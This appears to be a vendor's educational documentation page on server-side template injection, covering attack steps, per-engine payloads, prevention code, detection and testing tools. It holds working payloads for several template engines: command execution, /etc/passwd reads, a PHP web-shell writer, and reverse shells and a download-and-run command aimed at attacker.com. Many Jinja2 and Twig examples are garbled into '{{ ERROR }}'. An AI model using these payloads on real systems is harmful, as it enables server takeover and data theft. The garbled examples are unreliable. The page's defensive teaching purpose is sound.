Documentation

# Server-Side Template Injection (SSTI)

CRITICAL SEVERITY REMOTE CODE EXECUTION TEMPLATE VULNERABILITY

# Overview

Server-Side Template Injection (SSTI) occurs when attackers inject malicious code into template engines, causing the server to execute arbitrary code during template rendering.

SSTI Illustration
SSTI Illustration


# Simple Explanation

# Real-World Analogy

Imagine you run a mail-merge system for personalized letters. You create a template:

Dear ,
Thank you for your order of .
Input: customer_name = "John", product = "Laptop"
Output: Dear John, Thank you for your order of Laptop. ✓
Input: customer_name = "49", product = "Laptop"
Output: Dear 49, Thank you for your order of Laptop.

Wait... the system calculated 7*7 = 49!
This means it's executing code, not just replacing text!

# The Escalation

Input: customer_name = "49"
Output: 49
Conclusion: Template engine executes expressions!
Input: customer_name = "{{ ERROR }}"
Output: root:x:0:0:root:/root:/bin/bash...
Conclusion: Can execute system commands!

# How SSTI Attacks Work

# Attack Progression

Find where user input affects template output

Test with expressions to identify which template engine is being used

Use template-specific syntax to access dangerous functions

Read files, execute commands, or establish reverse shell

# Vulnerable Application Example

[ VULNERABLE Code]
# Python/Flask with Jinja2 - DANGEROUS
from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route('/greet')
def greet():
    name = request.args.get('name', 'Guest')

    # DANGEROUS: User input directly in template!
    template = f"<h1>Hello {name}!</h1>"
    return render_template_string(template)
[Normal Usage]
URL: /greet?name=John
Template: <h1>Hello John!</h1>
Output: Hello John! ✓
[Attack - Detection]
URL: /greet?name=49
Output: Hello 49!

Success! Template engine evaluated 7*7.
SSTI vulnerability confirmed.
[Attack - Exploitation]
URL: /greet?name=
Output: Shows Flask configuration including SECRET_KEY!

URL: /greet?name={{ ERROR }}
Output: Lists all available Python classes

URL: /greet?name={{ ERROR }}
Output: root (or current user)

# Template Engine Attacks

# 1. Jinja2 (Python/Flask/Django)

49 → 49
7777777 → 7777777

If 7777777 returns 7777777, it's likely Jinja2

[Read Configuration]

{{ ERROR }}


# Reveals:
# - SECRET_KEY
# - Database credentials
# - Debug settings
[File Read]
# Access file class and read files
{{ ERROR }}

# Alternative approach
{{ ERROR }}
[Remote Code Execution]
# Method 1: Using os module
{{ ERROR }}

# Method 2: Using subprocess
{{ ERROR }}

# Method 3: Reverse shell
{{ ERROR }}

# 2. Twig (PHP/Symfony)

49 → 49
7777777 → 7777777
[Code Execution]
# Register system function as filter
{{ ERROR }}{{ ERROR }}

# Alternative
{{ ERROR }}{{ ERROR }}
[File Read]
{{ ERROR }}

# Read configuration
{{ ERROR }}
[Advanced Exploitation]
# Set malicious cache location
{{ ERROR }}
{{ ERROR }}

# 3. Freemarker (Java)

${7*7} → 49
${7*'7'} → Error (type mismatch)
[Execute Commands]
<#assign ex="freemarker.template.utility.Execute"?new()>
${ ex("id") }

# Multiple commands
${ ex("cat /etc/passwd") }
[File Read]
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/etc/passwd').toURL().openStream().readAllBytes()?join(" ")}
[Advanced RCE]
<#assign classloader=product.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("whoami")}

# 4. ERB (Ruby/Rails)

<%= 7*7 %> → 49
<%= 7*'7' %> → 7777777
[Code Execution]
<%= system("whoami") %>
<%= `id` %>
<%= %x(uname -a) %>
[File Read]
<%= File.open('/etc/passwd').read %>
<%= File.read('/etc/passwd') %>
[Reverse Shell]
<%= IO.popen('bash -i >& /dev/tcp/attacker.com/4444 0>&1').read %>

# :icon-nodejs: 5. Pug/Jade (Node.js)

#{7*7} → 49
#{7*'7'} → NaN (JavaScript behavior)
[Code Execution]
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('whoami')}()}
[File Read]
#{global.process.mainModule.require('fs').readFileSync('/etc/passwd', 'utf8')}
[Reverse Shell]
#{global.process.mainModule.require('child_process').execSync('bash -c "bash -i >& /dev/tcp/attacker.com/4444 0>&1"').toString()}

# 6. Smarty (PHP)

{$smarty.version} → Shows version
{7*7} → 49
[PHP Code Execution]
{php}echo `id`;{/php}

{php}system('whoami');{/php}

[If Disabled]

{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru(\$_GET['cmd']); ?>",self::clearConfig())}

# Then access: /index.php?cmd=whoami
[File Read]
{file_get_contents('/etc/passwd')}

# Real-World Examples

# Case Study 1: Uber (2016)

Jinja2 SSTI in internal admin tool

  • Access to internal systems
  • Exposure of customer data
  • Database credentials compromised
  1. Admin panel used Jinja2 templates
  2. User input not properly sanitized
  3. Attacker injected template code
  4. Gained access to internal systems
  5. Extracted sensitive data

# Case Study 2: Shopify (2017)

SSTI in email template customization

  • Potential RCE on Shopify servers
  • Access to merchant data
  • $25,000 bug bounty paid
# Shopify uses Liquid template engine
# Attacker found SSTI in custom email templates
{{ ERROR }} # Normal
{{ ERROR }} # Information disclosure

# Case Study 3: Enterprise CMS Platform (2019)

Freemarker SSTI in content management system

  • Complete server takeover
  • Access to all client websites
  • Database credentials exposed
<#assign ex="freemarker.template.utility.Execute"?new()>
${ ex("wget http://attacker.com/shell.sh -O /tmp/shell.sh && bash /tmp/shell.sh") }

# Prevention & Mitigation

# 1. Never Use User Input in Templates

Keep template code separate from user data

[ WRONG - Vulnerable]
# DANGEROUS: User input in template string
from flask import request, render_template_string

@app.route('/greet')
def greet():
    name = request.args.get('name')
    template = f"<h1>Hello {name}!</h1>"  # VULNERABLE!
    return render_template_string(template)
[ RIGHT - Secure]
# SECURE: Use template files and pass data as variables
from flask import request, render template

@app.route('/greet')
def greet():
    name = request.args.get('name')
    # Template is in separate file, user data passed as variable
    return render_template('greet.html', name=name)
[greet.html Template File]
<!-- greet.html - Static template -->
<h1>Hello !</h1>
<!-- Jinja2 auto-escapes variables, preventing injection -->

# 2. Use Sandboxed Template Environments

Restrict what functions and classes templates can access

[Python/Jinja2 Sandbox]
from jinja2.sandbox import SandboxedEnvironment

# Create sandboxed environment
env = SandboxedEnvironment()

# Render template safely
template = env.from_string('Hello !')
output = template.render(name=user_input)
[Custom Sandbox Configuration]
from jinja2.sandbox import SandboxedEnvironment

class CustomSandbox(SandboxedEnvironment):
    def is_safe_attribute(self, obj, attr, value):
        # Block dangerous attributes
        forbidden = ['__class__', '__mro__', '__subclasses__',
                     '__globals__', '__builtins__']
        if attr in forbidden:
            return False
        return super().is_safe_attribute(obj, attr, value)

env = CustomSandbox()

# 3. Input Validation

Whitelist allowed characters and validate input format

[Strict Validation]
import re

def sanitize_template_input(user_input):
    # Only allow alphanumeric and basic punctuation
    if not re.match(r'^[a-zA-Z0-9\s\.,!?-]+$', user_input):
        raise ValueError("Invalid characters in input")

    # Block template syntax
    dangerous_patterns = [
        ', ', '{%', '%}', '${', '<#', '<%', '#{'
    ]

    for pattern in dangerous_patterns:
        if pattern in user_input:
            raise ValueError("Template syntax not allowed")

    return user_input

@app.route('/greet')
def greet():
    name = request.args.get('name')
    try:
        safe_name = sanitize_template_input(name)
        return render_template('greet.html', name=safe_name)
    except ValueError as e:
        return str(e), 400

# 4. Use Logic-Less Templates

Use template engines that don't allow code execution

[Mustache (Logic-Less)]
// Mustache doesn't execute code, only substitutes values
const Mustache = require('mustache');

const template = '<h1>Hello !</h1>';
const data = { name: userInput };

// Safe: Mustache escapes and only substitutes
const output = Mustache.render(template, data);
[Mustache Template]
<!-- No logic, no code execution possible -->
<div>
  <h1>Hello !</h1>
  <p>Email: </p>
</div>

# 5. Monitor and Log Template Rendering

import logging

class MonitoredTemplate:
    def render(self, template_string, context):
        # Log template rendering
        logging.info(f"Rendering template: {template_string[:100]}")

        # Check for suspicious patterns
        suspicious = ['__class__', '__mro__', 'import', 'exec', 'eval']
        for pattern in suspicious:
            if pattern in template_string:
                logging.warning(f"Suspicious pattern detected: {pattern}")
                send_security_alert(template_string)

        return template.render(context)

# Detection & Testing

# Detection Payloads

49
${7*7}
<%= 7*7 %>
#{7*7}
{7*7}
$49

Expected output: 49 indicates SSTI

7777777 → 7777777 (string multiplication)
{7*7} → 49 (Smarty)
7777777 → 7777777 (Twig)
${7*7} → 49
<%= 7*7 %> → 49
#{7*7} → 49

# Testing Tools

# Automated SSTI scanner
tplmap -u 'http://target.com/page?name=test'

# Specify parameter
tplmap -u 'http://target.com/page' --data 'name=test'

# With session cookie
tplmap -u 'http://target.com/page?name=test' --cookie='session=abc123'
# Test common injection points
curl "http://target.com/greet?name=49"
curl "http://target.com/page?title=${7*7}"
curl -X POST http://target.com/comment -d "text=<%= 7*7 %>"
Use Intruder with SSTI payload list:
- Position: username=49
- Payload list: template-injection-payloads.txt
- Look for "49" in responses

# Security Checklist

# Development

  • Never concatenate user input into template strings
  • Use template files with variable substitution
  • Enable auto-escaping in template engine
  • Use sandboxed template environments
  • Validate and sanitize all user input
  • Block template syntax characters
  • Consider logic-less templates (Mustache)
  • Review all template rendering code

# Infrastructure

  • Run application with minimal privileges
  • Use containerization for isolation
  • Implement Web Application Firewall (WAF)
  • Monitor for SSTI attack patterns
  • Keep template engines updated
  • Regular security audits
  • Penetration testing

# Testing

  • Test all user input points for SSTI
  • Try multiple template syntax variations
  • Test with automated tools (TPlmap)
  • Verify sandboxing effectiveness
  • Check for information disclosure
  • Test with different payload encodings

# Key Takeaways


# References & Resources

# Official Documentation

# Testing Tools

# Learning Resources


# Layerd AI Protection

Layerd AI Guardian Proxy prevents SSTI attacks:

  • Pattern detection - Identifies template injection syntax
  • Behavioral analysis - ML detects abnormal template rendering
  • Real-time blocking - Prevents malicious template execution
  • Zero-day protection - Catches novel SSTI techniques

Learn more about Layerd AI Protection →


Remember: Server-Side Template Injection is a critical vulnerability that can lead to complete server compromise. Always separate template code from user data and use secure template rendering practices.

Never trust user input in template contexts!


Last updated: November 2025